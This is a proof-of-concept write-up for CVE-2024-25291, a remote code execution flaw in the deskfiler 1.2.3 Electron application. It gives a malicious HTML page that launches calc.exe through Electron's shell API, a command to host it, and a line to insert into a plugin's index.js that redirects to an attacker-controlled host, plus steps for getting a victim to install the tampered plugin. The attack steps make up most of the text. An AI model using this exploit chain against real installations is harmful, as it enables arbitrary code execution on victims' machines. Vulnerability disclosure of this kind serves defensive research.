PoC for CVE-2024-25291# DeskFiler RCE
A Proof-Of-Concept for CVE-2024-25291 vulnerability. <br><br>
deskfiler - 1.2.3 allows Electron webview in application, with resultant remote code
In this repository there is an example vulnerable application and proof-of-concept (POC) exploit of it.
As a PoC there is a python file that automates the process.
---------------------------------------
#### 1.Vunerability Overview:
* Vulnerability Subject: Open Redirect via RCE
* Vulnerability Version: deskfiler-1.2.3
* Manifestation of the Issue: Electron Webview
* Attack Type: Remote Code Execution
* Attack Vectors: To exploit vulnerability, someone must open plug-in.
* Reserved CVE Number: CVE-2024-25291
---------------------------------------
#### 2. Vulnerability Cause:
* Exploit explain
* In a specific section within the application, a section accessing an external link through a Webview through an electron could be confirmed. Therefore, through this, it is possible to achieve an RCE by connecting to the attacker's server
Proof-of-concept (POC)
----------------------
* Step 1) Prepare the attacker's server and make Malicious Plug-in.
```html
<html>
<head>
<title>jruru</title>
</head>
<body>
<script>
const { shell } = require('electron');
shell.openExternal('file:C:/Windows/System32/calc.exe');
</script>
</body>
</html>
```
※ If you want to test it quickly, create a server on the attacker's PC with the following code.
```py
$ python -m http.server 80
```
**Note:** ※ At this time, it is assumed that the plug-in is a plug-in generated by the attacker, and is only a normal plug-in with a code added to let the attacker server access. BareBone has been selected for simple testing
Afterward, add the following code to the index.js file in the BareBone folder path.
```py
window.location='http://[attacker_ip]/hack.html'
```
* Step 2) On the victim's server, execute Deskfiler and install the BareBone plugin through "Add new plugin."
---------------------------------------
### 3. Additional Information
In this PoC, we utilized a plug-in; however, we believe that with alternative attack vectors, achieving Remote Code Execution (RCE) independently is possible. Additionally, if server-side vulnerabilities such as Stored XSS, Reflected XSS, exist, RCE is also considered feasible.
Log in to view the POC file snapshot cached by Shenlong Bot
Log in to view